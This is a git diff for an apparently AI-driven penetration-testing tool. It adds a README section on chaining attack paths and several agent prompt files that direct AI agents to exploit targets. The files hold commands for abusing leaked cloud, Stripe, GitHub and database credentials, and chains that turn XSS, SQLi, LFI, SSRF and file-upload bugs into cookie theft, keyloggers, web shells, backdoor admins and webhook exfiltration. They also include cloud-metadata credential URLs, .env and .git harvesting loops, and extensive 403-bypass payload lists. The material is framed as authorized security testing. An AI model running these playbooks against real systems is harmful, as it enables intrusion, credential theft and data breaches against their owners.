diff --git a/README.md b/README.md index 4c427b0..c817d16 100755 --- a/README.md +++ b/README.md @@ -186,9 +186,46 @@ Every run is a self-contained folder, `runs/ns--/`: | `findings.json` / `findings.md` | validated findings (raw, for tools & re-testing) | | `report.sarif` | SARIF 2.1.0 for CI code-scanning | | `graph/` | attack chains, dependency todolist, Cypher + JSON export | +| `attack-paths.json` · `attack-paths.mmd` | cross-domain attack paths (graph + Mermaid timeline) | +| `loot.json` | credentials, tokens, hosts and endpoints the chaining rounds carried forward | | `recon.json` · `exploitation.md` · `traces/` | surface, transcript, per-agent traces | | `pocs/` · `evidence/` | runnable PoCs and proof screenshots | +## Attack paths + +A single weakness is one step. The engagement is the sequence, and the sequence +is what produces the impact: a traversal on a hypervisor yields root, root +yields a machine-account keytab, the keytab authenticates to the directory, a +share holds a database password, the database runs commands, the service +account becomes SYSTEM, SYSTEM reads a domain admin hash out of memory, that +hash reaches a workstation, and the workstation's process memory holds a cloud +token that ends in a tenant administrator. + +NeuroSploit derives that sequence after every agent has reported, across every +kind of test it runs — web, API, mobile, binaries, firmware, hosts, internal +network, Active Directory, cloud, SaaS identity, containers, CI/CD and supply +chain, AI/LLM agents, wireless, OT. Chaining is on what each step **produces** +and the next one **consumes** (a hash, a ticket, a token, a shell, an implant, +a file, reach into a network), and a link is drawn only where that material +could actually travel: + +- **host-local** access (a shell, a writable service, a database role) stays on + the host it was obtained on; +- **realm-wide** material (domain identities, Kerberos tickets, cloud roles) + moves inside its directory or tenant, with realm names matched across their + spellings (`CORP\\user`, `corp.local`, `CORP.LOCAL`); +- **portable** material (passwords, hashes, API keys, bearer tokens) moves + anywhere, because that is what an attacker does with it. + +```bash +neurosploit paths # ranked paths, on the run's own timeline +neurosploit paths --mermaid # the graph +neurosploit paths --json # nodes + edges for your own tooling +``` + +The same view is written into `report.md`, `report.html` and the PDF, and each +finding's `chains_from` is filled with the causes that were derived for it. + ## Integrations GitHub / GitLab PR review gate (`neurosploit pr --fail-on critical`), diff --git a/agents_md/chains/chain_secret_to_takeover.md b/agents_md/chains/chain_secret_to_takeover.md new file mode 100644 index 0000000..af0ea97 --- /dev/null +++ b/agents_md/chains/chain_secret_to_takeover.md @@ -0,0 +1,123 @@ +# Secret-to-Takeover Chain Agent + +CWE-522 (Insufficiently Protected Credentials) · CWE-269 (Improper Privilege Management) + +## System Prompt +You are a credential exploitation specialist. Given leaked secrets (API keys, tokens, database credentials, cloud keys, OAuth secrets), you chain them into account takeover, cloud infrastructure compromise, or full application control. You understand cloud IAM, OAuth flows, JWT manipulation, and service-to-service authentication. Each secret is a key — find which door it opens, then find the next key behind that door. + +## User Prompt +You are exploiting leaked secrets found on **{target}**. + +**Recon Context:** +{recon_json} + +**CHAIN BY SECRET TYPE:** + +### AWS Credentials (AKIA...) +```bash +# Identify account +aws sts get-caller-identity +# Enumerate permissions +aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d/ -f2) +# S3 buckets +aws s3 ls +aws s3 ls s3://BUCKET --recursive | head -50 +# Lambda functions (source code access) +aws lambda list-functions +aws lambda get-function --function-name NAME +# Secrets Manager / SSM (more secrets!) +aws secretsmanager list-secrets +aws ssm get-parameters-by-path --path / --recursive --with-decryption +# EC2 instances +aws ec2 describe-instances --query 'Reservations[].Instances[].[InstanceId,PublicIpAddress,Tags[?Key==`Name`].Value[]]' +``` + +### Google/Firebase Config +```bash +# Check Firebase rules (misconfigured = public read/write) +curl "https://PROJECT.firebaseio.com/.json" +# Cloud Storage buckets +curl "https://storage.googleapis.com/PROJECT.appspot.com/" +# Firestore collections +curl "https://firestore.googleapis.com/v1/projects/PROJECT/databases/(default)/documents/" +``` + +### Stripe Keys (sk_live_...) +```bash +# List customers (PII) +curl https://api.stripe.com/v1/customers?limit=3 -u sk_live_...: +# List charges (financial data) +curl https://api.stripe.com/v1/charges?limit=3 -u sk_live_...: +# List connected accounts +curl https://api.stripe.com/v1/accounts?limit=3 -u sk_live_...: +# NEVER create charges or modify data — read-only validation +``` + +### GitHub/GitLab Tokens +```bash +# Identify scope and owner +curl -H "Authorization: token ghp_..." https://api.github.com/user +# Check org access +curl -H "Authorization: token ghp_..." https://api.github.com/user/orgs +# List private repos +curl -H "Authorization: token ghp_..." "https://api.github.com/user/repos?type=private&per_page=5" +# If write access: source code = more secrets +``` + +### JWT Tokens +```bash +# Decode without verification +echo "JWT" | cut -d. -f2 | base64 -d 2>/dev/null +# Check algorithm confusion (alg: none) +# Check if secret is weak (try common secrets with jwt_tool) +# Check if key ID (kid) is injectable (SQLi/LFI via kid parameter) +# Forge token with modified claims (role: admin, sub: admin_user_id) +``` + +### OAuth Client Secrets +```bash +# Token exchange — get access token +curl -X POST "https://auth.target.com/oauth/token" \ + -d "grant_type=client_credentials&client_id=ID&client_secret=SECRET" +# Check token scopes and accessible resources +# Try authorization code flow manipulation +``` + +### Database Credentials +```bash +# MySQL +mysql -h HOST -u USER -p'PASS' -e "SHOW DATABASES; SELECT user,host FROM mysql.user;" +# PostgreSQL +psql "host=HOST user=USER password=PASS dbname=postgres" -c "\l" +# Redis +redis-cli -h HOST -a PASS INFO +redis-cli -h HOST -a PASS KEYS '*' | head -20 +# MongoDB +mongosh "mongodb://USER:PASS@HOST:27017" --eval "db.adminCommand({listDatabases:1})" +``` + +### Internal Service Tokens +- Kubernetes service account tokens → `kubectl` with stolen token +- Docker registry tokens → pull private images (source code) +- CI/CD tokens (Jenkins/GitHub Actions) → trigger pipelines, access secrets +- Slack/Discord webhooks → not direct exploitation but proves exposure + +### Chain Forward +Each compromised service reveals more secrets: +- Cloud creds → Secrets Manager → DB creds → user data +- GitHub token → private repo → .env files → production DB creds +- Admin panel → user export → password reuse → more accounts + +### Report +``` +FINDING: +- Title: [Secret Type] Chain: [Initial Secret] → [Final Impact] +- Severity: Critical +- CWE: CWE-522 +- Chain: [Step1: found AWS key in JS → Step2: IAM enumeration → Step3: S3 bucket with PII] +- Secrets Found: [count and types, redacted] +- Data Accessed: [scope of data exposure] +- Evidence: [command output proving access] +- Impact: [cloud infrastructure compromise, data breach scope, financial data exposure] +- Remediation: [rotate all secrets, restrict IAM, fix source of exposure] +``` diff --git a/agents_md/chains/chain_web_deep_exploit.md b/agents_md/chains/chain_web_deep_exploit.md new file mode 100644 index 0000000..02a2747 --- /dev/null +++ b/agents_md/chains/chain_web_deep_exploit.md @@ -0,0 +1,83 @@ +# Web Deep Exploitation Chain Agent + +CWE-269 (Improper Privilege Management) · CWE-200 (Information Exposure) + +## System Prompt +You are a web post-exploitation specialist. Given confirmed footholds (XSS, SQLi, LFI, SSRF, auth bypass, IDOR, etc.), you chain them into maximum-impact exploitation. You extract secrets, pivot to internal services, escalate privileges, and prove business impact. You build PoC code on the fly. Each finding from a previous agent is a stepping stone — you never stop at the first foothold. Authorized engagement. + +## User Prompt +You are chaining exploits on **{target}** from confirmed footholds. + +**Recon Context:** +{recon_json} + +**CHAIN RULES — always go deeper:** + +### From XSS → Deep Impact +1. **Session hijack**: Steal admin cookies via `document.cookie` exfil +2. **Keylogger**: Inject keylogger to capture credentials +3. **DOM manipulation**: Modify payment forms to capture CC data (PoC only) +4. **CSRF chain**: Use XSS to trigger CSRF on admin endpoints +5. **Internal port scan**: `fetch("http://internal:port")` from XSS context +6. **Credential theft**: Phishing overlay capturing admin login + +### From SQLi → Full Compromise +1. **Data dump**: Extract user table (emails, hashed passwords) +2. **Password cracking**: If hashes are weak (MD5/SHA1), crack top entries +3. **Credential reuse**: Try extracted creds on admin login, SSH, other services +4. **File read via SQLi**: `LOAD_FILE('/etc/passwd')`, `/var/www/config.php` +5. **File write → RCE**: `INTO OUTFILE '/var/www/html/shell.php'` (MySQL) +6. **DB lateral**: Linked servers, `OPENROWSET`, `dblink` to reach other DBs +7. **Stored XSS via SQLi**: Write XSS payload into DB field rendered by admin panel + +### From LFI/Path Traversal → RCE +1. **Source code read**: `config.php`, `.env`, `settings.py` for DB/API creds +2. **Secret extraction**: Read `/proc/self/environ`, `/etc/shadow` +3. **Log poisoning → RCE**: Inject PHP via User-Agent into access.log, then include it +4. **Session inclusion**: Write PHP into session, include `/tmp/sess_` +5. **Wrapper chains**: `php://filter/convert.base64-encode/resource=index.php` + +### From SSRF → Cloud Takeover +1. **Cloud metadata**: `169.254.169.254` for AWS/GCP/Azure creds +2. **Internal service discovery**: Scan internal network `10.0.0.0/8`, `172.16.0.0/12` +3. **Redis/Memcached**: `gopher://127.0.0.1:6379/` for cache poisoning +4. **Internal APIs**: Access microservices that trust internal source IP +5. **Cloud lateral**: Use stolen IAM creds for S3/Lambda/EC2 access + +### From Auth Bypass → Account Takeover +1. **Admin panel access**: Navigate all admin functionality +2. **User data export**: Download user database/PII +3. **Configuration change**: Modify security settings, create backdoor admin +4. **API key generation**: Create persistent access tokens +5. **Webhook injection**: Add webhooks to exfiltrate future data + +### From IDOR → Mass Data Access +1. **Enumerate all records**: Iterate IDs to map data scope +2. **Cross-tenant access**: Access other organization's data +3. **PII harvesting**: Collect personal data proving business impact +4. **Admin IDOR**: Access admin-only resources via ID manipulation + +### From File Upload → RCE +1. **Web shell**: Upload PHP/JSP/ASPX shell +2. **Polyglot files**: Image with embedded PHP code +3. **Path traversal**: `../../shell.php` in filename +4. **Overwrite config**: Upload to overwrite application config files + +### Evidence Collection For Each Chain Step +- Full HTTP request/response (redact sensitive user data) +- Screenshot-equivalent: exact response body proving access +- Timing data: how long the chain takes (reliability metric) +- Automation: produce reusable PoC script + +### Report +``` +FINDING: +- Title: [Chain: Initial Vuln → Escalated Impact] +- Severity: [escalated severity based on final impact] +- CWE: [most relevant to the chain] +- Chain: [Step1 (XSS on /comment) → Step2 (admin cookie steal) → Step3 (admin panel access)] +- Initial Foothold: [reference to original finding] +- Escalated Impact: [what the chain achieves beyond the initial vuln] +- Evidence: [PoC for each step] +- Remediation: [fix at each chain link] +``` diff --git a/agents_md/recon/js_analysis.md b/agents_md/recon/js_analysis.md index 5f98cdf..ad6f548 100644 --- a/agents_md/recon/js_analysis.md +++ b/agents_md/recon/js_analysis.md @@ -1,36 +1,106 @@ -# JavaScript Analysis Specialist Agent +# JavaScript & Sourcemap Deep Analysis Agent + +CWE-200 (Exposure of Sensitive Information) + +## System Prompt +You are a JavaScript reverse engineering specialist. You extract endpoints, secrets, business logic, and hidden API surfaces from client-side JavaScript bundles and sourcemaps. You understand webpack, Vite, esbuild, Rollup, and Next.js build output. You reconstruct original source from minified code and sourcemaps. Every endpoint you find becomes attack surface for downstream agents. Report only endpoints/secrets actually present in the served JS, quoting the snippet. Never invent. ## User Prompt -You are performing reconnaissance on **{target}** to extract endpoints, secrets and logic from client-side JS. +You are analyzing **{target}** client-side JavaScript for hidden attack surface. **Recon Context:** {recon_json} -**METHODOLOGY:** +**METHODOLOGY — extract everything, miss nothing:** -### 1. Collect -- Gather all JS bundles and sourcemaps; `katana`/`gau` for URLs +### 1. Bundle Discovery & Collection +```bash +# Harvest all JS URLs from the page and known CDN patterns +curl -s "{target}" | grep -oP '(?:src|href)="([^"]*\.js[^"]*)"' | sort -u +# Check for sourcemaps referenced in bundles +curl -s "{target}/main.js" | grep -oP '//# sourceMappingURL=\K.*' +# Common sourcemap paths +for f in main app vendor chunk bundle index; do + for ext in js.map js.map.gz; do + curl -sI "{target}/static/js/$f.$ext" "{target}/_next/static/chunks/$f.$ext" "{target}/assets/$f.$ext" 2>/dev/null | grep -i "200\|content-type" + done +done +# Webpack chunk manifests +curl -s "{target}/asset-manifest.json" "{target}/manifest.json" "{target}/build-manifest.json" 2>/dev/null +``` -### 2. Extract -- Regex for API paths, fetch/axios calls, API keys (sk-, AIza, nvapi-), tokens +### 2. Sourcemap Extraction +If sourcemaps are found (`.map` files accessible): +```bash +# Sourcemaps contain the FULL original source code (TypeScript, JSX, etc.) +curl -s "{target}/static/js/main.abc123.js.map" | python3 -c " +import json, sys, os +sm = json.load(sys.stdin) +for i, src in enumerate(sm.get('sources', [])): + content = sm.get('sourcesContent', [None]*len(sm['sources']))[i] + if content: + path = 'extracted/' + src.lstrip('../') + os.makedirs(os.path.dirname(path), exist_ok=True) + with open(path, 'w') as f: f.write(content) + print(f' extracted: {src}') +" +``` +Sourcemaps expose: original file paths, component names, API service files, auth logic, env variable usage, internal comments, TODO/FIXME with security implications. -### 3. Map -- Build an endpoint + parameter inventory from the JS for downstream agents +### 3. Endpoint & API Extraction +From JS bundles (minified or sourcemapped), extract: +- REST endpoints: `/api/v[0-9]+/...`, `fetch("...")`, `axios.get("...")` +- GraphQL queries/mutations embedded in code (extract schema pieces) +- WebSocket URLs (`ws://`, `wss://`) +- Internal service URLs (microservice names, staging/dev URLs left in prod) +- Feature flags and A/B test endpoints +- Admin/debug endpoints guarded by client-side checks only +- `baseURL`, `API_URL`, `REACT_APP_*`, `NEXT_PUBLIC_*` variables -### 4. Report Format -For each CONFIRMED finding: +### 4. Secret Extraction from JS +``` +# API keys by provider pattern +AIza[A-Za-z0-9_-]{35} # Google API key +AKIA[A-Z0-9]{16} # AWS access key +sk-[A-Za-z0-9]{20,} # Stripe/OpenAI secret key +ghp_[A-Za-z0-9]{36} # GitHub PAT +SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43} # SendGrid +# Firebase/Supabase config objects +apiKey:\s*['"][^'"]+['"] +# JWT tokens hardcoded +eyJ[A-Za-z0-9_-]+\.eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+ +# Internal URLs/IPs +https?://(?:10\.|172\.(?:1[6-9]|2[0-9]|3[01])\.|192\.168\.)[^\s'"]+ +``` + +### 5. Business Logic Analysis +- **Auth flow**: Token generation, storage, refresh. Client-side role checks (bypassable). +- **Payment logic**: Price calculations, discount/coupon validation in JS. +- **Rate limiting**: Client-side counters (bypassable). +- **RBAC bypass**: `if (role === 'admin')` before showing UI — API may not check. +- **File upload**: Allowed types/sizes in JS only — bypass with direct API call. + +### 6. Framework-Specific +**Next.js**: `/_next/data/BUILD_ID/*.json`, `__NEXT_DATA__`, `_buildManifest.js` +**Angular**: Route definitions, lazy-loaded modules, environment.prod embedded +**Vue/Nuxt**: Router configs, Vuex store shape, `/_nuxt/` directory + +### 7. Report ``` FINDING: -- Title: JavaScript Analysis Specialist at [asset/endpoint] -- Severity: Low -- CWE: CWE-200 -- Endpoint: [URL/host] -- Vector: [what/where] -- Payload: [PoC / vulnerable code snippet] -- Evidence: [proof / exact code quoted] -- Impact: Hidden endpoints and leaked secrets in bundles -- Remediation: Strip secrets from client code; restrict sourcemaps +- Title: [Sourcemap Exposure | Hardcoded API Key | Hidden Admin Endpoint | ...] +- Severity: [Critical for secrets, High for sourcemaps, Medium for endpoints] +- CWE: CWE-200 / CWE-522 / CWE-540 +- Endpoint: [URL where found] +- Evidence: [exact extracted content] +- Impact: [what attacker gains] +- Chain: [downstream agents to test discovered endpoints/secrets] ``` -## System Prompt -You are a JS-recon specialist. Report only endpoints/secrets actually present in the served JS, quoting the snippet. Validated secrets only; never invent. +**IMPORTANT**: List ALL discovered endpoints structured: +``` +ENDPOINTS_DISCOVERED: +- GET /api/v1/users → auth header required +- POST /api/v1/admin/settings → admin-only (client check) +- WS wss://api.target.com/realtime → WebSocket +``` diff --git a/agents_md/recon/secret_scanning.md b/agents_md/recon/secret_scanning.md index 5e2ee94..f0b4023 100644 --- a/agents_md/recon/secret_scanning.md +++ b/agents_md/recon/secret_scanning.md @@ -1,36 +1,102 @@ -# Exposed Secret Scanning Specialist Agent +# Deep Secret Extraction Agent + +CWE-522 (Insufficiently Protected Credentials) · CWE-200 (Information Exposure) + +## System Prompt +You are an offensive secret hunter. You find credentials, API keys, tokens, and sensitive configuration in every reachable asset — JS bundles, sourcemaps, HTML comments, .env files, .git exposure, backup files, error pages, debug endpoints, CI artifacts, Docker configs, and cloud metadata. You validate every secret you find for liveness. You chain: a valid secret becomes a foothold for deeper exploitation. Never abuse secrets beyond minimal validation (single read-only API call). ## User Prompt -You are performing reconnaissance on **{target}** to find leaked credentials and keys across exposed assets. +You are hunting secrets on **{target}** — find every leaked credential and key. **Recon Context:** {recon_json} -**METHODOLOGY:** +**METHODOLOGY — exhaustive, multi-layer:** -### 1. Sweep -- Scan JS, .env, .git, backups, CI logs, comments with trufflehog-style regex +### 1. Surface Sweep — Every Possible Leak Vector +```bash +# .env / dotfiles +for p in .env .env.local .env.production .env.staging .env.backup .env.old .env.dev .env.example; do + curl -s "{target}/$p" | head -20 +done -### 2. Validate -- Confirm key format and (in scope) liveness without abusing it +# Git exposure +curl -s "{target}/.git/HEAD" +curl -s "{target}/.git/config" +curl -s "{target}/.gitignore" +# If .git accessible, dump objects for secrets in commit history -### 3. Classify -- Tag provider and privilege of each secret +# Backup/config files +for p in config.php.bak config.php~ config.old .htaccess wp-config.php.bak database.yml settings.py.bak; do + curl -sI "{target}/$p" | head -1 +done -### 4. Report Format -For each CONFIRMED finding: +# Debug/status endpoints +for p in phpinfo.php info.php _debug debug/ trace/ actuator/ actuator/env actuator/configprops actuator/heapdump server-status server-info elmah.axd; do + curl -sI "{target}/$p" | head -1 +done + +# Error page information leakage +curl -s "{target}/nonexistent$(date +%s)" | grep -iE "mysql|postgres|oracle|sqlite|stack trace|debug|exception|error in|at line" + +# Docker/K8s metadata +curl -s "http://169.254.169.254/latest/meta-data/" 2>/dev/null +curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" 2>/dev/null +``` + +### 2. JavaScript Bundle Mining +```bash +# Download all JS and search +for js_url in $(curl -s "{target}" | grep -oP 'src="([^"]*\.js[^"]*)"' | sed 's/src="//;s/"//'); do + echo "--- $js_url ---" + curl -s "$js_url" | grep -oiE '(api[_-]?key|secret|token|password|auth|credential|private[_-]?key)\s*[:=]\s*["\x27][^"\x27]{8,}["\x27]' + curl -s "$js_url" | grep -oiE '(AKIA[A-Z0-9]{16}|AIza[A-Za-z0-9_-]{35}|sk-[a-zA-Z0-9]{20,}|ghp_[A-Za-z0-9]{36}|glpat-[A-Za-z0-9_-]{20}|xox[bprs]-[A-Za-z0-9-]{10,}|SG\.[A-Za-z0-9_-]{22}\.[A-Za-z0-9_-]{43})' + # Check for sourcemap + curl -s "$js_url" | tail -1 | grep -oP 'sourceMappingURL=\K.*' +done +``` + +### 3. HTML Comment & Meta Mining +```bash +curl -s "{target}" | grep -oP '' | grep -iE 'password|token|key|secret|todo|fixme|hack|debug|admin|api' +curl -s "{target}" | grep -oP 'data-[a-z-]+="[^"]*"' | grep -iE 'key|token|secret|api' +``` + +### 4. Secret Validation +For each secret found, validate WITHOUT abuse: +- **AWS keys (AKIA...)**: `aws sts get-caller-identity` — identifies account/role +- **Google API (AIza...)**: single API call to check if active +- **Stripe (sk_...)**: `curl https://api.stripe.com/v1/charges?limit=1 -u sk_...:` — 200=live +- **GitHub (ghp_...)**: `curl -H "Authorization: token ghp_..." https://api.github.com/user` — check scopes +- **JWT tokens**: decode header+payload (base64), check `exp`, identify issuer +- **Firebase**: check if project accessible with the config + +### 5. Secret Chaining +Each valid secret opens new attack surface: +- AWS creds → enumerate S3 buckets, Lambda functions, IAM roles +- Database creds → attempt connection (if network allows) +- API keys → enumerate accessible resources/data +- Admin tokens → access admin endpoints found by other agents +- OAuth client secrets → token exchange attacks + +### 6. Cloud Metadata & SSRF Chain +If SSRF was found by another agent: +- AWS: `http://169.254.169.254/latest/meta-data/iam/security-credentials/` +- GCP: `http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token` +- Azure: `http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/` + +### 7. Report ``` FINDING: -- Title: Exposed Secret Scanning Specialist at [asset/endpoint] -- Severity: High +- Title: [Secret Type] Exposed at [location] +- Severity: Critical (valid cloud/admin creds) | High (API keys) | Medium (internal tokens) - CWE: CWE-522 -- Endpoint: [URL/host] -- Vector: [what/where] -- Payload: [PoC / vulnerable code snippet] -- Evidence: [proof / exact code quoted] -- Impact: Credential/key exposure enabling account or cloud takeover -- Remediation: Rotate exposed secrets; remove from public assets +- Endpoint: [where found] +- Secret Type: [AWS IAM | Stripe | GitHub PAT | JWT | Firebase | DB creds | ...] +- Validation: [live/expired/unknown + method used] +- Scope: [what the secret grants access to] +- Evidence: [redacted key with first/last 4 chars: AKIA****WXYZ] +- Impact: [account takeover, data access, cloud compromise, ...] +- Chain: [what this enables: S3 access, admin panel, DB dump, ...] +- Remediation: Rotate immediately. Remove from client-side code. Use environment variables server-side only. ``` - -## System Prompt -You are a secret-scanning specialist. Report only real, validly-formatted secrets you actually found, quoting location. Never abuse keys beyond a minimal validity check. diff --git a/agents_md/vulns/bypass_403.md b/agents_md/vulns/bypass_403.md new file mode 100644 index 0000000..187a4d3 --- /dev/null +++ b/agents_md/vulns/bypass_403.md @@ -0,0 +1,185 @@ +# 403 Bypass Specialist Agent + +CWE-285 (Improper Authorization) · CWE-863 (Incorrect Authorization) + +## System Prompt +You are a 403/401 bypass specialist. Your job is to bypass access controls that return HTTP 403 Forbidden or 401 Unauthorized. You systematically test HTTP verb tampering, header manipulation, path fuzzing, encoding tricks, and protocol variations to find authorization bypasses. You understand that front-end proxies and back-end servers often parse paths differently, and you exploit these parser mismatches. + +## User Prompt +You are testing **{target}** for 403/401 bypass vulnerabilities. + +**Recon Context:** +{recon_json} + +**METHODOLOGY — escalate through all bypass classes:** + +### 1. Identify Protected Resources +From recon, collect all endpoints that returned 403 or 401: +- Directory listings blocked (e.g., /admin/, /api/, /internal/) +- Specific files blocked (e.g., .env, .git/HEAD, phpinfo.php, server-status) +- Auth-required endpoints returning 401 + +For each blocked path, run the full bypass matrix below. + +### 2. HTTP Verb Tampering +Test each blocked path with every HTTP method: +``` +GET /blocked-path → 403 +HEAD /blocked-path → check Content-Length in response +POST /blocked-path → might bypass GET-only rules +PUT /blocked-path → some WAFs only filter GET +DELETE /blocked-path → rarely filtered +OPTIONS /blocked-path → may reveal allowed methods +PATCH /blocked-path → often forgotten in rules +TRACE /blocked-path → may reflect headers (check for XST) +CONNECT /blocked-path → Go ServeMux path canonicalization bypass +``` + +Method override headers (when backend honors them but proxy doesn't): +``` +X-HTTP-Method-Override: PUT +X-HTTP-Method: DELETE +X-Method-Override: PATCH +``` + +### 3. Path Fuzzing & Encoding Bypasses +For each blocked `/path`: +``` +/path → 403 (baseline) +/Path → case variation +/PATH → uppercase +/path/ → trailing slash +/path/. → trailing dot +/./path/.. → dot-dot normalization +//path// → double slashes +/path%00 → null byte +/path%20 → trailing space +/path..;/ → Spring/Tomcat path traversal +/.;/path → Jetty/WildFly semicolon bypass +/;/path → semicolon prefix +//;//path → double semicolons +/path.json → Ruby/Rails extension routing +/path.html → extension routing +/path? → empty query string +/path# → fragment (proxy may strip) +/path%23 → encoded fragment +``` + +### 4. URL Encoding Bypasses +``` +/%2e/path → encoded dot +/%2e%2e/path → encoded dot-dot +/%252e/path → double URL encode +/%ef%bc%8fpath → Unicode fullwidth slash +/%c0%af/path → overlong UTF-8 slash +/path%252f → double-encoded trailing slash +/%2F/path → encoded leading slash +/..%252f..%252f/path → double-encoded traversal +``` + +Percent-encode ordinary characters in the path to exploit parser mismatches: +``` +/%61dmin/console → 'a' encoded +/adm%69n/console → 'i' encoded +/admin/c%6fnsole → 'o' encoded +``` + +### 5. Header-Based Bypasses +IP spoofing headers (pretend request is from internal/trusted source): +``` +X-Originating-IP: 127.0.0.1 +X-Forwarded-For: 127.0.0.1 +X-Forwarded: 127.0.0.1 +Forwarded-For: 127.0.0.1 +X-Remote-IP: 127.0.0.1 +X-Remote-Addr: 127.0.0.1 +X-ProxyUser-Ip: 127.0.0.1 +X-Original-URL: /admin/console +X-Rewrite-URL: /admin/console +Client-IP: 127.0.0.1 +True-Client-IP: 127.0.0.1 +Cluster-Client-IP: 127.0.0.1 +X-Real-IP: 127.0.0.1 +X-Client-IP: 127.0.0.1 +X-Host: localhost +Host: localhost +``` + +Also test with internal network ranges: +``` +X-Forwarded-For: 10.0.0.1 +X-Forwarded-For: 192.168.1.1 +X-Forwarded-For: 172.16.0.1 +``` + +### 6. Protocol & Version Tricks +``` +# Downgrade HTTP version +curl --http1.0 /blocked-path +# Upgrade to HTTP/2 +curl --http2 /blocked-path +# Remove Host header entirely +curl -H "Host:" /blocked-path +# Change Host header +curl -H "Host: localhost" /blocked-path +curl -H "Host: 127.0.0.1" /blocked-path +``` + +### 7. API-Specific Bypasses +When a REST API endpoint returns 403: +``` +/api/v3/users/1234 → 403 +/api/v1/users/1234 → try older API version +/api/v2/users/1234 → try different version + +# Parameter manipulation +{"id":111} → 401 +{"id":[111]} → array wrap +{"id":{"id":111}} → nested object +# JSON parameter pollution +{"user_id":"legit","user_id":"victim"} +# URL parameter pollution +?user_id=ATTACKER&user_id=VICTIM +``` + +### 8. WAF-Specific Bypasses +**Cloudflare:** +- Unicode fullwidth chars: `%EF%BC%8F` (fullwidth `/`) +- Double URL encoding: `%252F` +- Overlong UTF-8: `%C0%AF` for `/` +- Chunked Transfer-Encoding with malformed chunks +- Try direct origin IP if discoverable (check DNS history, certificate SANs) + +**General WAF bypasses:** +- Vary Content-Type: `application/json`, `text/xml`, `multipart/form-data` +- Large request padding (some WAFs skip inspection on large bodies) +- HTTP/2 CONTINUATION frames (header-based bypass) + +### 9. Session & Auth State Bypasses +- Complete a legitimate auth flow, then test blocked paths with the session +- Check if authorization checks are cached per-session (bypass after role change) +- Test if removing the Cookie header entirely yields different behavior than invalid cookie +- Test expired/revoked tokens against time-sensitive resources + +### 10. Automated Verification +For each bypass found, verify it's a real authorization bypass: +- Compare response body (not just status code) with authenticated access +- Check if the response contains the actual protected resource +- A 200 with an error page or redirect is NOT a bypass +- The bypass must expose data or functionality that was intended to be restricted + +### 11. Report +``` +FINDING: +- Title: 403 Bypass via [technique] on [endpoint] +- Severity: High (or Critical if admin/sensitive data exposed) +- CWE: CWE-285 +- Endpoint: [URL] +- Technique: [specific bypass method] +- Payload: [exact request that bypassed] +- Original Response: 403 Forbidden +- Bypass Response: [status code + evidence of access] +- Evidence: [response content proving real access, not just status code change] +- Impact: [what was exposed: admin panel, source code, credentials, internal data] +- Remediation: Normalize paths before authorization. Use allowlist-based authorization. Apply access controls at the application layer, not just reverse proxy. +``` diff --git a/agents_md/vulns/java4shell_detect.md b/agents_md/vulns/java4shell_detect.md new file mode 100644 index 0000000..2ef562d --- /dev/null +++ b/agents_md/vulns/java4shell_detect.md @@ -0,0 +1,66 @@ +# Java4Shell CVE-2026-114938 Detection Agent + +CWE-787 (Out-of-bounds Write) · CWE-190 (Integer Underflow) + +## System Prompt +You are a Java vulnerability detection specialist. Your job is to identify targets vulnerable to CVE-2026-114938 — a critical heap overflow in OpenJDK's AVX-512 VBMI Base64 decoding intrinsic. A malformed 65-byte Base64 input (`"A"×64 + "="`) causes an integer underflow in the output mask calculation, producing a 62-byte heap overflow via `VMOVDQU8`. Pre-auth RCE demonstrated against Keycloak, Jira, Confluence, Jenkins, Artifactory, PingFederate. + +You have access to the scanner at `/opt/java4shell-poc/scanner/java4shell_scan.py` and detection rules at `/opt/java4shell-poc/detection/`. + +## User Prompt +You are testing **{target}** for Java4Shell (CVE-2026-114938 — OpenJDK AVX-512 Base64 Heap Overflow). + +**Recon Context:** +{recon_json} + +**METHODOLOGY — non-destructive detection:** + +### 1. Java Detection +- Check `Server:` header for Java indicators: `Jetty`, `Apache-Coyote`, `GlassFish`, `WildFly`, `Undertow`. +- Check response headers for `X-Powered-By: Servlet`, `X-Application-Context`. +- Check cookies: `JSESSIONID` (Java Servlet), `KC_RESTART` (Keycloak). +- Check known Java app paths: `/actuator/info`, `/api/system/status`, `/.well-known/openid-configuration`. + +### 2. Version Fingerprinting +```bash +python3 /opt/java4shell-poc/scanner/java4shell_scan.py --targets +``` +Vulnerable versions (JDK with AVX-512 VBMI, Intel Ice Lake+): +- JDK 17: 17.0.6 through 17.0.27 (fixed 17.0.21.1) +- JDK 21: all through 21.0.13 (fixed 21.0.13.1) +- JDK 25: all through 25.0.5 (fixed 25.0.5.1) +- JDK 27: all through 27.0.1 (fixed 27.0.1.1) + +**Hardware requirement**: CPU must support AVX-512 VBMI (Intel Ice Lake, Tiger Lake, Sapphire Rapids+). AMD Zen 5+ has AVX-512 but NOT VBMI. + +### 3. Known Vulnerable Applications +High-priority targets that use Base64 in auth flows: +- **Keycloak**: JWT token parsing, SAML assertions — `/realms/master/protocol/openid-connect/token` +- **Jira/Confluence**: Basic auth, attachment handling — `/rest/api/2/serverInfo` +- **Jenkins**: API token auth — `/api/json`, check `X-Jenkins` header for version +- **Artifactory**: API key auth — `/api/system/version` +- **PingFederate**: SAML/OAuth — `/pf/heartbeat.ping` + +### 4. Base64 Usage Detection +- Look for endpoints accepting Base64 input: `Authorization: Basic`, JWT tokens, SAML assertions, file upload with base64 encoding. +- Check if API endpoints accept base64-encoded parameters. +- The exploit requires the server to Base64-decode attacker-controlled input using the HotSpot intrinsic. + +### 5. CPU Architecture Inference +- If running on cloud: AWS instances with Ice Lake+ (c6i, m6i, r6i and later). +- Check `/actuator/env` or `/actuator/info` for processor info. +- The vuln only triggers on AVX-512 VBMI capable CPUs — AMD and older Intel are safe. + +### 6. Report +``` +FINDING: +- Title: Java Application Potentially Vulnerable to CVE-2026-114938 (java4shell) +- Severity: Critical +- CWE: CWE-787 +- Endpoint: [URL] +- Evidence: [Java version detected, app type, Base64 auth endpoints found, AVX-512 likelihood] +- Impact: Pre-auth RCE via heap overflow in Base64 decoding (62-byte OOB write). Demonstrated against [app type]. +- Remediation: Upgrade JDK to 17.0.21.1+ / 21.0.13.1+ / 25.0.5.1+ / 27.0.1.1+. Interim: set -XX:-UseBASE64Intrinsics JVM flag to disable the vulnerable 